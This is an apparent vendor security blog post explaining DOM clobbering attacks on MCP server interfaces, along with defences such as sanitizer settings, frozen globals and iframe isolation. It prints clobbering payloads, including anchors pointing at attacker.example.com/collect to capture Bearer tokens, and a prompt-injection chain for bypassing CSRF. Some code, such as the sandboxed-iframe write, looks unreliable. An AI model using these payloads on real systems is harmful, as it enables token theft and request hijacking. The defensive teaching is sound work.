MCP server security · DOM Clobbering · id attribute · named property access · CSRF bypass

MCP Server DOM Clobbering Deep Dive: id attribute global override, two-level anchor clobbering, and CSRF bypass

2026-06-24 · 14 min read

DOM Clobbering is a 15-year-old browser quirk that most developers have never heard of — and it becomes significantly more dangerous in MCP server deployments. The attack exploits a mandatory feature of the HTML specification: any element with an id attribute is reflected as a named property on window. When MCP tool output is rendered in the main document, injecting <img id="csrfToken"> silently replaces window.csrfToken with an HTMLImageElement. A two-level variant using anchor elements with both id and name attributes can reach nested namespace objects like window.config.apiUrl, redirecting all API calls to an attacker-controlled server. DOMPurify has had three public CVEs related to DOM Clobbering bypasses. This post covers every variant, every bypass, and the three defenses that close all of them.

Why the HTML spec makes DOM Clobbering mandatory

The "named property access" rule has existed since HTML 4. The specification requires that a document's Window object expose every element with an id attribute as a property with that name. This was designed for legacy code like <form id="loginForm"> being accessible via bare loginForm.submit() in 1990s browsers without calling document.getElementById. Every browser still implements it — it is part of the WHATWG HTML living standard under "named access on the Window object."

The rule is: when JavaScript reads a property from window (including via bare global name access) and no var, let, or const declaration exists with that name, the browser walks the document and returns the first element with a matching id. The result is that inserting <div id="foo"> into the DOM makes window.foo return that element — even if earlier code had assigned window.foo = "something" via a window property (not a variable declaration).

The scope of the attack: DOM Clobbering only targets code that reads globals via window.name or bare name (when no local variable shadows it). Code that uses const name = ... declared before any tool output is inserted is safe. The attack surface is: window-property-based configuration objects, globals set from server-injected data (meta tags, JSON blobs), and any code that re-reads from window after DOM mutations.

Attack 1: Single-level id clobbering

The simplest form overwrites a scalar global. Any element type works — <img>, <div>, <span>, <input>. The clobbering element replaces the global with an HTMLElement reference, but the element's string representation is "[object HTMLImageElement]" and its coerced numeric value is NaN. Depending on how the application uses the clobbered global, different things break:

// Injected by MCP tool output (rendered in the main document):
<img id="csrfToken" src="x" onerror="0">

// Application code that runs after tool output is inserted:
const headers = {
  'X-CSRF-Token': window.csrfToken  // now an HTMLImageElement
};
// headers['X-CSRF-Token'] === [object HTMLImageElement]
// If server does: if (req.headers['x-csrf-token'] === storedToken) {...}
// The comparison always fails — which might mean:
//   (a) The request is rejected (CSRF protection works but feature breaks)
//   (b) The server has a fallback: if (!token) allow_legacy_path() — now bypassed
//   (c) The server uses a loose check: req.headers['x-csrf-token'] != null — truthy!

// Alternative: inject an input element to control the .value property
<input id="csrfToken" value="attacker-chosen-value">
// Now: window.csrfToken.value === "attacker-chosen-value"
// If application reads: const token = window.csrfToken?.value || window.csrfToken
// It sends "attacker-chosen-value" as the CSRF token
// If the attacker can also force a request to their server, they can learn the token
// required to call the target endpoint and replay it

Common clobbering targets in MCP server UIs include:

GlobalHow it's typically setClobbering impact
window.csrfTokenServer-injected <meta name="csrf"> value read at startupCSRF token replaced with HTMLElement, coerced to non-matching string on header comparison
window.authTokenSet from localStorage.getItem('token') on page loadReplaced by input element — attacker sets .value to control Bearer token if re-read
window.apiBaseUrlInjected from server config JSON blobAnchor element href used as base URL — all subsequent API calls go to attacker domain
window.sanitizerConfigStored DOMPurify config objectReplaced with element, next DOMPurify call uses undefined config or falls back to permissive defaults
window.featureFlagsJSON parsed from /api/flags response cached at startupBoolean flag reads become truthy (HTMLElement is truthy), disabling all feature-flag gates

Attack 2: Two-level anchor clobbering reaches nested objects

The single-level attack only reaches top-level window properties. But many applications store configuration in nested objects like window.config.apiUrl or window.sdk.endpoint. The HTML specification includes a second rule: when an <a> or <area> element has both an id and a name attribute, the browser creates an HTMLCollection at window[id], and the element is accessible via window[id][name]. This allows clobbering one level of nesting with a single injected element:

// Injected by MCP tool output:
<a id="config" name="apiUrl" href="https://attacker.example.com/api"></a>

// Result in window:
//   window.config             → HTMLCollection (because anchor has id="config")
//   window.config.apiUrl      → the <a> element (because name="apiUrl")
//   window.config.apiUrl.href → "https://attacker.example.com/api"
//   window.config.apiUrl + '' → "https://attacker.example.com/api" (toString())

// Application code that runs after insertion:
const endpoint = window.config.apiUrl;  // attacker's anchor
const response = await fetch(endpoint + '/users');
// Fetches: https://attacker.example.com/api/users
// All API calls are now proxied through attacker's server
// Attacker collects request bodies (including auth headers)
// Returns plausible responses to avoid detection

// More dangerous variant: redirect data to exfiltration endpoint
<a id="sdk" name="endpoint" href="https://attacker.example.com/collect"></a>
// SDK initialization code:
//   sdk.init({ endpoint: window.sdk.endpoint })
// All telemetry and event data goes to attacker

toString() coercion on anchor elements: Anchor elements implement a custom toString() that returns the element's href. This means code that does string concatenation (baseUrl + '/api/users') or template literals (`${window.config.apiUrl}/users`) will use the attacker's URL. The attack succeeds silently — no exception is thrown, no type error, no console warning.

Attack 3: Form element collection clobbering

HTML form elements support a named access pattern via the elements collection: form.elements['fieldname'] returns the form field with that name attribute. But there is a lesser-known variant: if a <form> element has an id, it is accessible as window[id], and if that form contains an element with a name attribute, the form element collection provides access via window[id][name] — similar to the anchor variant but using form containment:

// Two-level clobbering via form element:
<form id="appConfig">
  <input name="authEndpoint" value="https://attacker.example.com/oauth">
</form>

// Result:
//   window.appConfig                     → the <form> element
//   window.appConfig.authEndpoint        → the <input> element
//   window.appConfig.authEndpoint.value  → "https://attacker.example.com/oauth"

// If OAuth initialization reads:
//   const authServer = window.appConfig.authEndpoint;
// ...it gets the input element, whose .value property is the attacker's URL.
// The OAuth flow sends the authorization code to the attacker's server.

// Deeper nesting via iframe + id:
<iframe id="transport" name="baseUrl" src="https://attacker.example.com/"></iframe>
// window.transport.baseUrl doesn't work (iframes don't support named collection)
// But: window.transport.src → "https://attacker.example.com/"
// window.transport.contentWindow (same-origin required) is more restricted

DOMPurify bypass history: three CVEs

DOMPurify is the industry-standard HTML sanitizer. Its SANITIZE_DOM option (enabled by default since v2.0) strips id and name attributes that would clobber known browser built-in globals (location, document, top, parent, frames, screen, navigator, etc.). However, DOMPurify cannot know which application-specific globals matter, and there have been three public CVEs where the clobbering protection was bypassed:

CVE-2019-20374 DOMPurify < 2.0.1 — mXSS via DOM Clobbering of document.getElementById

DOMPurify used document.getElementById(id) internally to check element identity during traversal. An attacker could inject <form id="getElementById"> before sanitization ran, clobbering the native method and causing DOMPurify to skip security checks on subsequent elements. The bypass allowed XSS payloads to survive sanitization. Fixed by caching the native method reference before any HTML processing.

CVE-2020-26870 DOMPurify < 2.2.1 — DOM Clobbering of window.document via <svg> element with id="document"

SVG namespace elements with id attributes were not handled by the SANITIZE_DOM check in the same way as HTML elements. An <svg><g id="document"> construction in certain parsing contexts would set window.document to the SVG group element, corrupting DOMPurify's own internal reference to the document object used for creating sanitization contexts. Fixed by unifying the clobbering check across all element namespaces.

CVE-2021-26700 DOMPurify < 2.2.9 — DOM Clobbering via template element in WHOLE_DOCUMENT mode

When WHOLE_DOCUMENT: true was enabled, clobbering elements inside a <template> element's content document fragment were not checked against the clobbering blocklist. The template's inert content was parsed in a separate document context where the standard SANITIZE_DOM traversal did not reach, allowing clobbering elements to survive and be adopted into the live document on insertion. Fixed by extending the traversal to include template content fragments.

All three CVEs share a common theme: DOMPurify's clobbering protection was bypassed via edge cases in how the HTML parser handles unusual element contexts. The lesson is that relying solely on DOMPurify's SANITIZE_DOM to protect application-specific globals is insufficient. The first-party defenses below are required as defense-in-depth.

Why MCP servers amplify the risk

DOM Clobbering in a traditional web application requires that user-controlled HTML reaches the main document — something that typically requires an XSS vulnerability or a very permissive innerHTML assignment. MCP servers change the threat model in three ways:

  1. Tool output is trusted HTML by design. The MCP client renders tool output as rich content. The MCP server sends structured data that the UI renders — if the UI does not sanitize aggressively, any HTML that reaches the renderer can inject clobbering elements.
  2. Prompt injection enables indirect injection. An attacker does not need to control the MCP server directly. They only need to control data that the server reads — a crafted document, a poisoned API response, a repository README. Prompt injection from external content causes the LLM to generate tool calls that return injected content, which the UI then renders.
  3. Long sessions mean delayed exploitation. A clobbering element injected by a tool result early in a session persists in the DOM for the entire session duration. Code that reads window.config.apiUrl later in the session — for a different, unrelated tool call — uses the clobbered value. The attacker does not need to time the injection to coincide with the target operation.

Full exploitation scenario: CSRF token bypass via DOM Clobbering

Here is a complete attack chain showing how DOM Clobbering in an MCP server UI bypasses CSRF protection without requiring any JavaScript execution — making it immune to Content Security Policy:

// STEP 1: The attacker hosts a crafted document at https://attacker.example.com/doc.md
// Document content:
//   # Meeting Notes
//   <img id="csrfToken" src="x">
//   This is a normal-looking document with a broken image link.

// STEP 2: Prompt injection causes the agent to read this document.
// The MCP server's file-fetch tool returns the rendered HTML.
// The MCP UI inserts it into the main document without sanitizing id attributes.

// STEP 3: After insertion, window.csrfToken is the HTMLImageElement.
// The string value of window.csrfToken is "[object HTMLImageElement]"

// STEP 4: The user continues working. They trigger an action that calls:
async function transferFunds(amount, destination) {
  const response = await fetch('/api/transfer', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'X-CSRF-Token': window.csrfToken  // reads the clobbered global
    },
    body: JSON.stringify({ amount, destination })
  });
}

// STEP 5: The server receives X-CSRF-Token: [object HTMLImageElement]
// If the server validates with: if (token !== storedToken) return 403
// The comparison fails — but if the server has a legacy path:
//   if (!token || token.length < 10) return 403;  // backwards compat check
// "[object HTMLImageElement]".length === 26 — this passes!
// The transfer executes without a valid CSRF token.

// WHY THIS BYPASSES CSP: No JavaScript was executed by the attack.
// The clobbering element is plain HTML. script-src 'self' provides zero protection.
// The attack only uses the HTML specification's named property access rule.

Exploitation scenario: API endpoint hijacking via two-level anchor clobbering

This variant hijacks all subsequent API calls in the session. It is particularly dangerous when the MCP client authenticates API calls using Bearer tokens — the attacker collects those tokens from the redirected requests:

// STEP 1: Injected via any tool output that renders HTML:
<a id="APP_CONFIG" name="api" href="https://attacker.example.com/collect"></a>

// STEP 2: Application code (running before the injection had no effect):
//   const APP_CONFIG = window.APP_CONFIG;  // was the config object
// Application code (running after the injection):
//   const endpoint = window.APP_CONFIG.api;  // now the anchor element
//   const apiUrl = String(endpoint);          // "https://attacker.example.com/collect"
//   const data = await fetch(apiUrl + '/tool-results', {
//     headers: { 'Authorization': 'Bearer ' + sessionToken }
//   });
// The request goes to the attacker's server, leaking the Bearer token.

// STEP 3: The attacker receives the Bearer token and uses it to call the
// legitimate API endpoint directly — outside the MCP session, bypassing
// any per-session tooling restrictions on what the token can do.

// IMPORTANT: The anchor's href property is exactly what an attacker needs.
// Other element types (div, span) would give: window.APP_CONFIG.api → HTMLElement
// But their toString() is "[object HTMLDivElement]", which breaks the fetch.
// Anchor elements are the only type where toString() returns a valid URL.
// The attack requires <a> specifically — not any element with an id.

Shadow DOM: the false safe haven

Shadow DOM does not isolate from DOM Clobbering in the way many developers assume. Shadow roots provide style encapsulation and some event boundary isolation, but the named property access rule applies to the document — elements inside a shadow root that has been attached to a document-connected host still participate in the document's global scope for id lookups:

// Tool output renders inside a shadow root:
const shadow = toolOutputHost.attachShadow({ mode: 'open' });
shadow.innerHTML = sanitizedToolHtml; // includes <img id="csrfToken">

// Test:
console.log(window.csrfToken);
// Returns: undefined — shadow root DOES protect against single-level clobbering
// because named property access only walks the main document, not shadow trees.

// HOWEVER: If tool output is rendered in the light DOM (main document):
document.getElementById('tool-output-container').innerHTML = sanitizedToolHtml;
// Now: window.csrfToken IS clobbered.

// The shadow DOM protection requires the tool output host to be in the document
// AND the injected clobbering elements to be inside the shadow tree.
// Cross-origin iframes (not shadow roots) are the stronger isolation primitive
// because they create a fully separate window object.

Shadow DOM is partial protection, not full isolation: Shadow DOM prevents single-level and two-level clobbering of the parent document's globals only when the injected elements are inside the shadow tree. If tool output rendering ever appends elements to the light DOM (for layout, for accessibility, for portal components), clobbering protection is lost. The architectural defense is a cross-origin iframe, not a shadow root.

SkillAudit findings: DOM Clobbering in MCP server audits

HIGH −20
MCP tool output rendered in main document via innerHTML or insertAdjacentHTML without FORBID_ATTR: ['id', 'name'] — any element with a predictable id can clobber application globals for CSRF tokens, API base URLs, and SDK configuration
HIGH −18
Application configuration object stored in window-level global (window.config, window.appConfig, window.settings) read after any DOM mutation — two-level anchor clobbering can redirect all API base URLs and SDK endpoints to attacker-controlled servers
HIGH −16
DOMPurify version < 2.2.9 used for tool output sanitization — three known DOM Clobbering bypass CVEs (CVE-2019-20374, CVE-2020-26870, CVE-2021-26700) allow clobbering even with SANITIZE_DOM: true
MEDIUM −12
CSRF token read via window.csrfToken or bare global name after DOM insertion — clobbering converts token to HTMLElement string, bypassing token validation on servers with loose comparison or legacy fallback paths
MEDIUM −10
Critical globals (auth tokens, API URLs, sanitizer config) not frozen with Object.defineProperty at application startup — named property reflection can override non-frozen window properties after any DOM insertion
LOW −4
Application uses predictable static IDs on security-sensitive DOM elements (login-modal, admin-panel, payment-form) — known IDs enable targeted clobbering and popovertarget attacks simultaneously

Defense 1: Strip id and name attributes at the sanitizer boundary

The most complete defense is to remove id and name attributes from all tool output HTML before insertion. DOMPurify makes this straightforward:

import DOMPurify from 'dompurify';

// Option A: Strip all id and name attributes from tool output.
// This eliminates clobbering entirely at the cost of not preserving
// application-assigned IDs in tool results (which typically don't need them).
const clean = DOMPurify.sanitize(mcpToolOutput, {
  SANITIZE_DOM: true,    // default since v2.0 — strips known-dangerous ids
  FORBID_ATTR: ['id', 'name'],  // also strips all application-specific id/name
  FORCE_BODY: true,      // wraps output in <body>, safer parsing context
  RETURN_DOM_FRAGMENT: true,  // returns a DocumentFragment, not a string
});
document.getElementById('tool-output').appendChild(clean);

// Option B: Allowlist approach — strip id/name but preserve a safe subset.
// Only permit ids that match a UUID pattern (attacker can't predict them
// since legitimate application IDs are generated at runtime with randomUUID()).
DOMPurify.addHook('uponSanitizeAttribute', (node, data) => {
  if (data.attrName === 'id' || data.attrName === 'name') {
    const UUID_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i;
    if (!UUID_RE.test(data.attrValue)) {
      data.keepAttr = false; // strip non-UUID ids/names
    }
  }
});

Defense 2: Freeze critical globals before any tool output is rendered

Object.defineProperty with writable: false and configurable: false creates a non-configurable property on window that the named property access mechanism cannot override. This must run at application startup before any HTML rendering:

// app-startup.js — runs BEFORE any MCP tool output is rendered

// Freeze scalar globals:
const csrfMeta = document.querySelector('meta[name="csrf-token"]');
Object.defineProperty(window, 'csrfToken', {
  value: csrfMeta?.content ?? null,
  writable: false,
  configurable: false,
  enumerable: false,
});

// Freeze nested config object AND all its properties:
const CONFIG = Object.freeze({
  apiBaseUrl: import.meta.env.VITE_API_URL,
  authEndpoint: import.meta.env.VITE_AUTH_URL,
  sdkVersion: import.meta.env.VITE_SDK_VERSION,
});
Object.defineProperty(window, 'APP_CONFIG', {
  value: CONFIG,
  writable: false,
  configurable: false,
  enumerable: false,
});

// Freeze the sanitizer config reference:
const SANITIZER_CONFIG = Object.freeze({
  SANITIZE_DOM: true,
  FORBID_ATTR: ['id', 'name', 'popovertarget', 'commandfor'],
  FORCE_BODY: true,
});
Object.defineProperty(window, 'SANITIZER_CONFIG', {
  value: SANITIZER_CONFIG,
  writable: false,
  configurable: false,
  enumerable: false,
});

// After these defineProperty calls, window.csrfToken, window.APP_CONFIG,
// and window.SANITIZER_CONFIG cannot be overridden by DOM Clobbering.
// Any element with id="csrfToken" inserted afterward returns the original value
// because non-configurable window properties take precedence over named property access.

Defense 3: Read globals before rendering tool output

For code that cannot be refactored to use frozen globals — legacy code paths, third-party SDK initialization — the simplest mitigation is to capture all required values into local constants before any tool output insertion. Local variables are not affected by named property access after the fact:

// Middleware / wrapper that executes each tool result:
async function renderToolResult(toolName, html) {
  // CAPTURE all globals before inserting any tool output:
  const csrfToken = window.csrfToken;           // string, captured before insertion
  const apiBase   = window.APP_CONFIG?.apiBaseUrl; // string, captured before insertion
  const authUrl   = window.APP_CONFIG?.authEndpoint;

  // NOW insert the sanitized tool output into the DOM:
  const clean = DOMPurify.sanitize(html, { SANITIZE_DOM: true, FORBID_ATTR: ['id','name'] });
  document.getElementById('tool-output').innerHTML = clean;

  // All subsequent code uses the captured LOCAL variables, not window properties:
  // window.csrfToken might now be clobbered — we don't care.
  return { csrfToken, apiBase, authUrl }; // consumers use these, not window globals
}

// API call layer receives captured values, never reads window:
async function callApi(path, body, { csrfToken, apiBase }) {
  return fetch(apiBase + path, {
    method: 'POST',
    headers: { 'X-CSRF-Token': csrfToken },
    body: JSON.stringify(body),
  });
}

Combined defense: cross-origin iframe isolation

All three of the above defenses work at the application level. The architectural defense — rendering tool output in a sandboxed cross-origin iframe — prevents DOM Clobbering entirely by placing tool output in a completely separate window object that does not share named property access with the parent document:

// Create a sandboxed iframe for tool output rendering:
const iframe = document.createElement('iframe');
iframe.sandbox = 'allow-scripts';  // allow-scripts but NOT allow-same-origin
// With allow-same-origin, the iframe shares the parent document's named properties.
// Without allow-same-origin, the iframe window is a separate object — no shared globals.

iframe.src = 'about:blank';
document.getElementById('tool-output-host').appendChild(iframe);

// Write sanitized tool output into the iframe:
const clean = DOMPurify.sanitize(toolHtml, { SANITIZE_DOM: true });
iframe.contentDocument.open();
iframe.contentDocument.write(clean);
iframe.contentDocument.close();

// Elements inside the iframe cannot clobber parent window properties.
// window.csrfToken in the parent document is unaffected by any id="csrfToken"
// element inside the iframe — they are in separate Window objects.

// Trade-off: iframe execution environment is more restricted.
// Communication back to parent requires postMessage (no shared DOM access).
// This is the correct architectural isolation — not just a patch over the symptom.

Security checklist

SkillAudit's static analysis checks for id and name attribute pass-through in sanitizer configurations, reads of window globals after innerHTML assignments, and DOMPurify versions below the CVE threshold. Run a free audit to check your MCP server's DOM Clobbering exposure. See also our related guides on Trusted Types API for DOM sink protection, Content Security Policy deep dive for the complementary CSP layer, and our reference page on DOM Clobbering patterns for a quick-reference summary.